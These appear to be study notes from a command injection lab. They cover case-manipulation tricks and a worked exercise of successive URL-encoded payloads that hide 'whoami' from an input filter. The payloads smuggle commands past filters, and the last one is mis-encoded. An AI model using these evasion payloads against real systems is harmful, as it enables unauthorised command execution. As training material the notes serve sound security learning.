Command Injections
Filter Evasion
Advanced Command Obfuscation
Case Manipulation
Alternating case
Windows:
eChO
eCHoSince Linux is case sensitive we will have to use a command to convert to lower case
$(tr "[A-Z]" "[a-z]"<<<"EcHo")However chances are something here is going to fail some kind of filtering You may need to replace characters in this with previous ones we have used to bypass filtering
Exercise
Get the following to work
$(a="WhOaMi";printf %s "${a,,}")since we know spaces break this I am going to replace those first
$(a="WhOaMi";printf%09%s%09"${a,,}")Still invalid input. Semicolon seems like a culprit so I am going to replace that.
$(a="WhOaMi"%3Bprintf%09%s%09"${a,,}")Still invalid lets try commas next
$(a="WhOaMi"%3Bprintf%09%s%09"${a%2C%2C}")lets try the =
$(a%3D"WhOaMi"%3Bprintf%09%s%09"${a%2C%2C}")lets do the {} next
$(a%3D"WhOaMi"%3Bprintf%09%s%09"$%7Ba%2C%2C%7B")Needed to work but that didnt work either